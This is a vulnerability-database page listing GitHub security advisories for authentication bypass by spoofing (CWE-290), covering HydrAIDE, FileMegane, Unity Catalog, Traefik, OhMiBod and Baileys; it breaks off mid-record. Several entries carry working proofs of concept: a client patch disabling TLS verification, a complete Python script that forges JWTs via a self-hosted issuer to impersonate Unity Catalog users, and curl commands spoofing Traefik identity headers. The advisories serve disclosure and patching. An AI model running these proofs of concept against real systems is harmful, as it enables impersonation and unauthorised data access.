Common Weakness Enumeration

CWE-290

Allowed

Authentication Bypass by Spoofing

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

This attack-focused weakness is caused by incorrectly implemented authentication schemes that are subject to spoofing attacks.

925 vulnerabilities reference this CWE, most recent first.

GHSA-QP7J-X725-G67F

Vulnerability from github – Published: 2025-08-19 15:34 – Updated: 2025-08-29 20:37
VLAI
Summary
HydrAIDE Authentication Bypass Vulnerability
Details

Summary

There is no authentication of any kind.

Details

TLS is implemented, the tunnel between the client and server is secure, however once data is on the server, it's free to be read by any adversaries.

On the client side : https://github.com/hydraide/hydraide/blob/main/sdk/go/hydraidego/client/client.go#L221 It should be using a TLS Config with RootCAs and Certificates, currently RootCAs only (under NewClientTLSFromFile)

And on the server side, there should be ClientCAs and ClientAuth filled.

PoC

To bypass as is, the simplest way is to take the client and modify the code as such :

Modified from https://github.com/hydraide/hydraide/blob/main/sdk/go/hydraidego/client/client.go#L209

            // hostOnly := strings.Split(server.Host, ":")[0]
            // creds, certErr := credentials.NewClientTLSFromFile(server.CertFilePath, hostOnly)
            // if certErr != nil {
            //  slog.Error("error while loading TLS credentials: ", "error", certErr, "server", server.Host, "fromIsland", server.FromIsland, "toIsland", server.ToIsland)
            //  errorMessages = append(errorMessages, certErr)
            // }
            var opts []grpc.DialOption
            tlsConfig := &tls.Config{
                InsecureSkipVerify: true,
            }
            creds := credentials.NewTLS(tlsConfig)
            opts = append(opts, grpc.WithTransportCredentials(creds))

Impact

It impacts everyone who think there is any kind of authentication.

Resolution

This vulnerability has been fully fixed in server/v2.2.1 together with hydraidectl/v0.2.1.

All users are strongly advised to upgrade:

  1. Update to hydraidectl v0.2.1
  2. Re-initialize server instances with hydraidectl init into a new folder. This generates the required certificate files, downloads the latest binaries, and sets up the necessary environment variables.

For migration help, join the community Discord: https://discord.gg/xE2YSkzFRm or open a GitHub Discussion. If anything does not work, please report it.

Severity
10.0 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/hydraide/hydraide"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.1.1"
            },
            {
              "fixed": "2.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/hydraide/hydraide"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20250816184905-1256db38c33c"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-290"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-08-19T15:34:48Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Summary\nThere is no authentication of any kind.\n\n\n### Details\nTLS is implemented, the tunnel between the client and server is secure, however once data is on the server, it\u0027s free to be read by any adversaries.\n\nOn the client side : https://github.com/hydraide/hydraide/blob/main/sdk/go/hydraidego/client/client.go#L221\nIt should be using a TLS Config with RootCAs and Certificates, currently RootCAs only (under NewClientTLSFromFile)\n\nAnd on the server side, there should be ClientCAs and ClientAuth filled.\n\n### PoC\nTo bypass as is, the simplest way is to take the client and modify the code as such : \n\nModified from https://github.com/hydraide/hydraide/blob/main/sdk/go/hydraidego/client/client.go#L209\n```go\n\t\t\t// hostOnly := strings.Split(server.Host, \":\")[0]\n\t\t\t// creds, certErr := credentials.NewClientTLSFromFile(server.CertFilePath, hostOnly)\n\t\t\t// if certErr != nil {\n\t\t\t// \tslog.Error(\"error while loading TLS credentials: \", \"error\", certErr, \"server\", server.Host, \"fromIsland\", server.FromIsland, \"toIsland\", server.ToIsland)\n\t\t\t// \terrorMessages = append(errorMessages, certErr)\n\t\t\t// }\n\t\t\tvar opts []grpc.DialOption\n\t\t\ttlsConfig := \u0026tls.Config{\n\t\t\t\tInsecureSkipVerify: true,\n\t\t\t}\n\t\t\tcreds := credentials.NewTLS(tlsConfig)\n\t\t\topts = append(opts, grpc.WithTransportCredentials(creds))\n```\n\n### Impact\nIt impacts everyone who think there is any kind of authentication.\n\n---\n\n## Resolution\n\nThis vulnerability has been fully fixed in server/v2.2.1 together with hydraidectl/v0.2.1.\n\nAll users are strongly advised to upgrade:\n\n1. Update to hydraidectl v0.2.1\n2. Re-initialize server instances with hydraidectl init into a new folder. This generates the required certificate files, downloads the latest binaries, and sets up the necessary environment variables.\n\nFor migration help, join the community Discord: https://discord.gg/xE2YSkzFRm or open a GitHub Discussion.\nIf anything does not work, please report it.",
  "id": "GHSA-qp7j-x725-g67f",
  "modified": "2025-08-29T20:37:10Z",
  "published": "2025-08-19T15:34:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/hydraide/hydraide/security/advisories/GHSA-qp7j-x725-g67f"
    },
    {
      "type": "WEB",
      "url": "https://github.com/hydraide/hydraide/commit/b252554a811400a81951dc9f959b99077f187975#diff-63efbc8179fff403eb5cc642407b33c0fb21aea2c84baaf5e5223f76f5d75f55"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/hydraide/hydraide"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2025-3895"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "HydrAIDE Authentication Bypass Vulnerability"
}

GHSA-QP7W-47RC-M64M

Vulnerability from github – Published: 2025-02-18 00:31 – Updated: 2025-02-18 00:31
VLAI
Details

Authentication bypass by spoofing issue exists in FileMegane versions above 1.0.0.0 prior to 3.4.0.0, which may lead to user impersonation. If exploited, restricted file contents may be accessed.

Severity
5.3 (Medium)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-25055"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-290"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-02-18T00:15:21Z",
    "severity": "MODERATE"
  },
  "details": "Authentication bypass by spoofing issue exists in FileMegane versions above 1.0.0.0 prior to 3.4.0.0, which may lead to user impersonation. If exploited, restricted file contents may be accessed.",
  "id": "GHSA-qp7w-47rc-m64m",
  "modified": "2025-02-18T00:31:42Z",
  "published": "2025-02-18T00:31:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-25055"
    },
    {
      "type": "WEB",
      "url": "https://jvn.jp/en/jp/JVN80527854"
    },
    {
      "type": "WEB",
      "url": "https://www.info-brdg.co.jp/support/report/megane/sec20250201.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-QQCJ-RGHW-829X

Vulnerability from github – Published: 2026-05-11 17:58 – Updated: 2026-05-11 17:58
VLAI
Summary
Unity Catalog has a JWT Issuer Validation Bypass tht Allows Complete User Impersonation
Details

Context: A critical authentication bypass vulnerability exists in the Unity Catalog token exchange endpoint (/api/1.0/unity-control/auth/tokens). The endpoint extracts the issuer (iss) claim from incoming JWTs and uses it to dynamically fetch the JWKS endpoint for signature validation without validating that the issuer is a trusted identity provider.

Way to exploit:

An attacker can exploit this by: 1. Hosting their own OIDC-compliant server with a valid JWKS endpoint 2. Signing a JWT with their own private key, setting the iss claim to their server 3. Setting the sub/email claim to any known user in the Unity Catalog system 4. Exchanging this crafted token for a valid internal access token

This results in complete impersonation of any user in the system, granting access to all catalogs, schemas, tables, and other resources that user has permissions to.

Additionally, the implementation does not validate the audience (aud) claim, allowing tokens intended for other services to be used.

Example

Example implementation doing token exchange with a self hosted .well-known/openid-configuration and jwks endpoint.

This can be run with python3 main.py and TARGET_USER, UC_SERVER and PORT adjusted to the testing setup.

#!/usr/bin/env python3
"""Unity Catalog JWT Issuer Validation Bypass PoC - Minimal Version"""

import base64, secrets, threading, time
from datetime import datetime, timedelta, timezone
import jwt, requests
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from flask import Flask, jsonify

TARGET_USER = "user@example.com"
UC_SERVER = "http://localhost:8080"
PORT = 8888
ISSUER = f"http://localhost:{PORT}"

# Generate RSA key pair
key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
kid = secrets.token_hex(8)

# Create JWKS
pub = key.public_key().public_numbers()
def b64(n): return base64.urlsafe_b64encode(n.to_bytes((n.bit_length()+7)//8, "big")).rstrip(b"=").decode()
jwks = {"keys": [{"kty": "RSA", "use": "sig", "alg": "RS256", "kid": kid, "n": b64(pub.n), "e": b64(pub.e)}]}

# Create malicious JWT
token = jwt.encode(
    {"iss": ISSUER, "sub": TARGET_USER, "email": TARGET_USER, "aud": "unity-catalog",
     "iat": datetime.now(timezone.utc), "exp": datetime.now(timezone.utc) + timedelta(hours=1)},
    key.private_bytes(serialization.Encoding.PEM, serialization.PrivateFormat.PKCS8, serialization.NoEncryption()),
    algorithm="RS256", headers={"kid": kid}
)

# Start minimal OIDC server
app = Flask(__name__)
app.logger.disabled = True

@app.route("/.well-known/openid-configuration")
def oidc(): return jsonify({"issuer": ISSUER, "jwks_uri": f"{ISSUER}/jwks"})

@app.route("/jwks")
def keys(): return jsonify(jwks)

threading.Thread(target=lambda: app.run(port=PORT, threaded=True, use_reloader=False), daemon=True).start()
time.sleep(1)

# Exchange token
resp = requests.post(f"{UC_SERVER}/api/1.0/unity-control/auth/tokens",
                     data={"grant_type": "urn:ietf:params:oauth:grant-type:token-exchange",
                           "requested_token_type": "urn:ietf:params:oauth:token-type:access_token",
                           "subject_token_type": "urn:ietf:params:oauth:token-type:id_token",
                           "subject_token": token})

if resp.status_code == 200:
    access_token = resp.json()["access_token"]
    print(f"[+] Got access token as '{TARGET_USER}'")
    # Demo: list catalogs
    catalogs = requests.get(f"{UC_SERVER}/api/2.1/unity-catalog/catalogs",
                            headers={"Authorization": f"Bearer {access_token}"})
    print(catalogs.json())
else:
    print(f"[-] Failed: {resp.status_code} {resp.text}")
Severity
9.1 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.4.0"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.unitycatalog:unitycatalog-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.4.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-27478"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1390",
      "CWE-290",
      "CWE-346"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-11T17:58:40Z",
    "nvd_published_at": "2026-03-11T20:16:14Z",
    "severity": "CRITICAL"
  },
  "details": "**Context:**\nA critical authentication bypass vulnerability exists in the Unity Catalog token exchange endpoint (/api/1.0/unity-control/auth/tokens). The endpoint extracts the issuer (iss) claim from incoming JWTs and uses it to dynamically fetch the JWKS endpoint for signature validation without validating that the issuer is a trusted identity provider.\n\n**Way to exploit:**\n\nAn attacker can exploit this by:\n1. Hosting their own OIDC-compliant server with a valid JWKS endpoint\n2. Signing a JWT with their own private key, setting the iss claim to their server\n3. Setting the sub/email claim to any known user in the Unity Catalog system\n4. Exchanging this crafted token for a valid internal access token\n\nThis results in complete impersonation of any user in the system, granting access to all catalogs, schemas, tables, and other resources that user has permissions to.\n\nAdditionally, the implementation does not validate the audience (aud) claim, allowing tokens intended for other services to be used.\n\n**Example**\n\nExample implementation doing token exchange with a self hosted `.well-known/openid-configuration` and `jwks` endpoint.\n\nThis can be run with `python3 main.py` and `TARGET_USER`, `UC_SERVER` and `PORT` adjusted to the testing setup.\n\n```python\n#!/usr/bin/env python3\n\"\"\"Unity Catalog JWT Issuer Validation Bypass PoC - Minimal Version\"\"\"\n\nimport base64, secrets, threading, time\nfrom datetime import datetime, timedelta, timezone\nimport jwt, requests\nfrom cryptography.hazmat.primitives import serialization\nfrom cryptography.hazmat.primitives.asymmetric import rsa\nfrom flask import Flask, jsonify\n\nTARGET_USER = \"user@example.com\"\nUC_SERVER = \"http://localhost:8080\"\nPORT = 8888\nISSUER = f\"http://localhost:{PORT}\"\n\n# Generate RSA key pair\nkey = rsa.generate_private_key(public_exponent=65537, key_size=2048)\nkid = secrets.token_hex(8)\n\n# Create JWKS\npub = key.public_key().public_numbers()\ndef b64(n): return base64.urlsafe_b64encode(n.to_bytes((n.bit_length()+7)//8, \"big\")).rstrip(b\"=\").decode()\njwks = {\"keys\": [{\"kty\": \"RSA\", \"use\": \"sig\", \"alg\": \"RS256\", \"kid\": kid, \"n\": b64(pub.n), \"e\": b64(pub.e)}]}\n\n# Create malicious JWT\ntoken = jwt.encode(\n    {\"iss\": ISSUER, \"sub\": TARGET_USER, \"email\": TARGET_USER, \"aud\": \"unity-catalog\",\n     \"iat\": datetime.now(timezone.utc), \"exp\": datetime.now(timezone.utc) + timedelta(hours=1)},\n    key.private_bytes(serialization.Encoding.PEM, serialization.PrivateFormat.PKCS8, serialization.NoEncryption()),\n    algorithm=\"RS256\", headers={\"kid\": kid}\n)\n\n# Start minimal OIDC server\napp = Flask(__name__)\napp.logger.disabled = True\n\n@app.route(\"/.well-known/openid-configuration\")\ndef oidc(): return jsonify({\"issuer\": ISSUER, \"jwks_uri\": f\"{ISSUER}/jwks\"})\n\n@app.route(\"/jwks\")\ndef keys(): return jsonify(jwks)\n\nthreading.Thread(target=lambda: app.run(port=PORT, threaded=True, use_reloader=False), daemon=True).start()\ntime.sleep(1)\n\n# Exchange token\nresp = requests.post(f\"{UC_SERVER}/api/1.0/unity-control/auth/tokens\",\n                     data={\"grant_type\": \"urn:ietf:params:oauth:grant-type:token-exchange\",\n                           \"requested_token_type\": \"urn:ietf:params:oauth:token-type:access_token\",\n                           \"subject_token_type\": \"urn:ietf:params:oauth:token-type:id_token\",\n                           \"subject_token\": token})\n\nif resp.status_code == 200:\n    access_token = resp.json()[\"access_token\"]\n    print(f\"[+] Got access token as \u0027{TARGET_USER}\u0027\")\n    # Demo: list catalogs\n    catalogs = requests.get(f\"{UC_SERVER}/api/2.1/unity-catalog/catalogs\",\n                            headers={\"Authorization\": f\"Bearer {access_token}\"})\n    print(catalogs.json())\nelse:\n    print(f\"[-] Failed: {resp.status_code} {resp.text}\")\n```",
  "id": "GHSA-qqcj-rghw-829x",
  "modified": "2026-05-11T17:58:40Z",
  "published": "2026-05-11T17:58:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/unitycatalog/unitycatalog/security/advisories/GHSA-qqcj-rghw-829x"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27478"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/unitycatalog/unitycatalog"
    },
    {
      "type": "WEB",
      "url": "https://github.com/unitycatalog/unitycatalog/releases/tag/v0.4.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Unity Catalog has a JWT Issuer Validation Bypass tht Allows Complete User Impersonation"
}

GHSA-QR99-7898-VR7C

Vulnerability from github – Published: 2026-03-27 20:35 – Updated: 2026-03-27 20:35
VLAI
Summary
Traefik Vulnerable to BasicAuth/DigestAuth Identity Spoofing via Non-Canonical headerField
Details

Summary

There is a potential vulnerability in Traefik's Basic and Digest authentication middlewares when headerField is configured with a non-canonical HTTP header name.

An authenticated attacker with valid credentials can inject the canonical version of the configured header to impersonate any identity to the backend. Because Traefik writes the authenticated username using a non-canonical map key, it creates a separate header entry rather than overwriting the attacker's canonical one — causing most backend frameworks to read the attacker-controlled value instead.

Patches

For more information

If there are any questions or comments about this advisory, please open an issue.

Original Description ### Summary When `headerField` is configured with a non-canonical HTTP header name (e.g., `x-auth-user` instead of `X-Auth-User`), an authenticated attacker can inject a canonical version of that header to impersonate any identity to the backend. The backend receives two header entries — the attacker-injected canonical one is read first, overriding Traefik's non-canonical write. Tested on Traefik v3.6.10. ### Details At `pkg/middlewares/auth/basic_auth.go:92`, the authenticated username is written using direct map assignment: 
req.Header[b.headerField] = []string{user}
Go's `http.Header` map is keyed by canonical names (e.g., `X-Auth-User`). Direct assignment with a non-canonical key (`x-auth-user`) creates a separate map entry from any canonical-key entry already present. The attacker's `X-Auth-User: superadmin` occupies the canonical slot and is never overwritten by Traefik's non-canonical write. The same bug exists in `pkg/middlewares/auth/digest_auth.go:100`. Notably, `forward.go:254` correctly uses `http.CanonicalHeaderKey()`, showing the fix pattern already exists in the codebase. ### PoC **Traefik config (YAML, Docker labels, or REST API):** 
middlewares:
  auth:
    basicAuth:
      users: ["admin:$2y$05$..."]
      headerField: "x-auth-user"
**Normal request (baseline):** 
curl -u admin:admin http://traefik/secure/test
# Backend receives: x-auth-user: admin
# Identity = admin ✓
**Attack request:** 
curl -u admin:admin -H "X-Auth-User: superadmin" http://traefik/secure/test
# Backend receives BOTH headers:
#   X-Auth-User: superadmin   ← attacker-injected (canonical key, read first by most frameworks)
#   x-auth-user: admin        ← Traefik-set (non-canonical, ignored by most frameworks)
# Identity seen by backend = superadmin ✗
**Control test** — when `headerField` uses canonical casing (`X-Auth-User`), the attack fails. Traefik's write correctly overwrites the attacker's header. This is realistic because YAML conventions favor lowercase keys, Traefik docs don't warn about canonicalization, and the pattern of backends trusting the `headerField` header is recommended in Traefik's own documentation. **Fix suggestion:** 
// basic_auth.go:92 and digest_auth.go:100 — change:
req.Header[b.headerField] = []string{user}
// to:
req.Header.Set(b.headerField, user)
Also strip any incoming `headerField` header before the auth check with `req.Header.Del(b.headerField)`. ### Impact An authenticated attacker with valid credentials (even low-privilege) can impersonate any other user identity to backend services. If backends use the `headerField` header for authorization decisions (which is the intended use case per Traefik docs), this enables privilege escalation — e.g., a regular user impersonating an admin. The attack requires the operator to configure `headerField` with a non-canonical header name, which is the natural thing to do in YAML and is not warned against in documentation.
Severity
5.1 (Medium)
CVSS:4.0/AV:N/AC:H/AT:P/PR:H/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.11.42"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c 3.6.11"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0-beta1"
            },
            {
              "fixed": "3.6.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.7.0-ea.1"
            },
            {
              "fixed": "3.7.0-ea.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33433"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-290"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-27T20:35:53Z",
    "nvd_published_at": "2026-03-27T15:16:54Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThere is a potential vulnerability in Traefik\u0027s Basic and Digest authentication middlewares when `headerField` is configured with a non-canonical HTTP header name.\n\nAn authenticated attacker with valid credentials can inject the canonical version of the configured header to impersonate any identity to the backend. Because Traefik writes the authenticated username using a non-canonical map key, it creates a separate header entry rather than overwriting the attacker\u0027s canonical one \u2014 causing most backend frameworks to read the attacker-controlled value instead.\n\n## Patches\n\n- \u003chttps://github.com/traefik/traefik/releases/tag/v2.11.42\u003e\n- \u003chttps://github.com/traefik/traefik/releases/tag/v3.6.12\u003e\n- \u003chttps://github.com/traefik/traefik/releases/tag/v3.7.0-ea.3\u003e\n\n## For more information\n\nIf there are any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n\n### Summary\n\nWhen `headerField` is configured with a non-canonical HTTP header name (e.g., `x-auth-user` instead of `X-Auth-User`), an authenticated attacker can inject a canonical version of that header to impersonate any identity to the backend. The backend receives two header entries \u2014 the attacker-injected canonical one is read first, overriding Traefik\u0027s non-canonical write.\n\nTested on Traefik v3.6.10.\n\n### Details\n\nAt `pkg/middlewares/auth/basic_auth.go:92`, the authenticated username is written using direct map assignment:\n\n```go\nreq.Header[b.headerField] = []string{user}\n```\n\nGo\u0027s `http.Header` map is keyed by canonical names (e.g., `X-Auth-User`). Direct assignment with a non-canonical key (`x-auth-user`) creates a separate map entry from any canonical-key entry already present. The attacker\u0027s `X-Auth-User: superadmin` occupies the canonical slot and is never overwritten by Traefik\u0027s non-canonical write.\n\nThe same bug exists in `pkg/middlewares/auth/digest_auth.go:100`. Notably, `forward.go:254` correctly uses `http.CanonicalHeaderKey()`, showing the fix pattern already exists in the codebase.\n\n### PoC\n\n**Traefik config (YAML, Docker labels, or REST API):**\n\n```yaml\nmiddlewares:\n  auth:\n    basicAuth:\n      users: [\"admin:$2y$05$...\"]\n      headerField: \"x-auth-user\"\n```\n\n**Normal request (baseline):**\n\n```bash\ncurl -u admin:admin http://traefik/secure/test\n# Backend receives: x-auth-user: admin\n# Identity = admin \u2713\n```\n\n**Attack request:**\n\n```bash\ncurl -u admin:admin -H \"X-Auth-User: superadmin\" http://traefik/secure/test\n# Backend receives BOTH headers:\n#   X-Auth-User: superadmin   \u2190 attacker-injected (canonical key, read first by most frameworks)\n#   x-auth-user: admin        \u2190 Traefik-set (non-canonical, ignored by most frameworks)\n# Identity seen by backend = superadmin \u2717\n```\n\n**Control test** \u2014 when `headerField` uses canonical casing (`X-Auth-User`), the attack fails. Traefik\u0027s write correctly overwrites the attacker\u0027s header.\n\nThis is realistic because YAML conventions favor lowercase keys, Traefik docs don\u0027t warn about canonicalization, and the pattern of backends trusting the `headerField` header is recommended in Traefik\u0027s own documentation.\n\n**Fix suggestion:**\n\n```go\n// basic_auth.go:92 and digest_auth.go:100 \u2014 change:\nreq.Header[b.headerField] = []string{user}\n// to:\nreq.Header.Set(b.headerField, user)\n```\n\nAlso strip any incoming `headerField` header before the auth check with `req.Header.Del(b.headerField)`.\n\n### Impact\n\nAn authenticated attacker with valid credentials (even low-privilege) can impersonate any other user identity to backend services. If backends use the `headerField` header for authorization decisions (which is the intended use case per Traefik docs), this enables privilege escalation \u2014 e.g., a regular user impersonating an admin.\n\nThe attack requires the operator to configure `headerField` with a non-canonical header name, which is the natural thing to do in YAML and is not warned against in documentation.\n\n\u003c/details\u003e",
  "id": "GHSA-qr99-7898-vr7c",
  "modified": "2026-03-27T20:35:53Z",
  "published": "2026-03-27T20:35:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/security/advisories/GHSA-qr99-7898-vr7c"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33433"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/traefik/traefik"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/releases/tag/v2.11.42"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/releases/tag/v3.6.11"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:H/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Traefik Vulnerable to BasicAuth/DigestAuth Identity Spoofing via Non-Canonical headerField"
}

GHSA-QV8J-45V4-24PJ

Vulnerability from github – Published: 2022-05-13 01:43 – Updated: 2022-05-13 01:43
VLAI
Details

The OhMiBod Remote app for Android and iOS allows remote attackers to impersonate users by sniffing network traffic for search responses from the OhMiBod API server and then editing the username, user_id, and token fields in data/data/com.ohmibod.remote2/shared_prefs/OMB.xml.

Severity
9.1 (Critical)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2017-14487"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-290"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-12-01T17:29:00Z",
    "severity": "CRITICAL"
  },
  "details": "The OhMiBod Remote app for Android and iOS allows remote attackers to impersonate users by sniffing network traffic for search responses from the OhMiBod API server and then editing the username, user_id, and token fields in data/data/com.ohmibod.remote2/shared_prefs/OMB.xml.",
  "id": "GHSA-qv8j-45v4-24pj",
  "modified": "2022-05-13T01:43:25Z",
  "published": "2022-05-13T01:43:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-14487"
    },
    {
      "type": "WEB",
      "url": "https://dl.acm.org/citation.cfm?id=3139942\u0026preflayout=flat"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-QVV5-JQ5G-4CGG

Vulnerability from github – Published: 2026-06-10 19:33 – Updated: 2026-06-10 19:33
VLAI
Summary
Baileys has message upsert / hist sync spoofing and app state corruption when using maliciously crafted protocolMessage payload
Details

Impact

Any baileys session under the latest version (< 7.0.0-rc12, and < 6.7.22) can be sent a malicious payload via the placeholderResendMessage and trigger a fake messages.upsert event with a fake message key and payload. This allows anyone to spoof messages. The same exploit also allows an attacker to corrupt the app state sync system by sending fake key shares, and also allows for history sync spoofing which also serves the same problem, injecting fake previous context or "on-demand" sync.

Patches

https://github.com/WhiskeySockets/Baileys/commit/3beb08eecfcb4e65722e674034bd84fb11a9de35 This commit has patched the issue, and a version tag has been released under 7.0.0 (6.7.22) for those still on Baileys v6. A new Baileys version, v7.0.0-rc12, has been released to remediate this.

Workarounds

There are no real workarounds other than dropping messages.upsertevents that contain a requestId field, turning off automatic history sync (shouldSyncHistoryMessage: () => false) in socket config. There are no workarounds for the app state sync jamming.

Severity
9.3 (Critical)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "baileys"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.7.22"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@whiskeysockets/baileys"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.7.22"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "baileys"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.0.0-rc.1"
            },
            {
              "fixed": "7.0.0-rc12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@whiskeysockets/baileys"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.0.0-rc.1"
            },
            {
              "fixed": "7.0.0-rc12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-48063"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-290",
      "CWE-345",
      "CWE-346"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-10T19:33:20Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Impact\nAny baileys session under the latest version (\u003c 7.0.0-rc12, and \u003c 6.7.22) can be sent a malicious payload via the placeholderResendMessage and trigger a fake `messages.upsert` event with a **fake message key and payload**. This allows anyone to spoof messages. The same exploit also allows an attacker to corrupt the app state sync system by sending fake key shares, and also allows for history sync spoofing which also serves the same problem, injecting fake previous context or \"on-demand\" sync.\n\n### Patches\nhttps://github.com/WhiskeySockets/Baileys/commit/3beb08eecfcb4e65722e674034bd84fb11a9de35 This commit has patched the issue, and a version tag has been released under 7.0.0 (6.7.22) for those still on Baileys v6. A new Baileys version, v7.0.0-rc12, has been released to remediate this.\n\n\n### Workarounds\nThere are no real workarounds other than dropping `messages.upsert `events that contain a `requestId` field, turning off automatic history sync (`shouldSyncHistoryMessage: () =\u003e false`) in socket config. There are no workarounds for the app state sync jamming.",
  "id": "GHSA-qvv5-jq5g-4cgg",
  "modified": "2026-06-10T19:33:20Z",
  "published": "2026-06-10T19:33:20Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WhiskeySockets/Baileys/security/advisories/GHSA-qvv5-jq5g-4cgg"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WhiskeySockets/Baileys/commit/3beb08eecfcb4e65722e674034bd84fb11a9de35"
    },
    {
      "type": "PACKAGE",
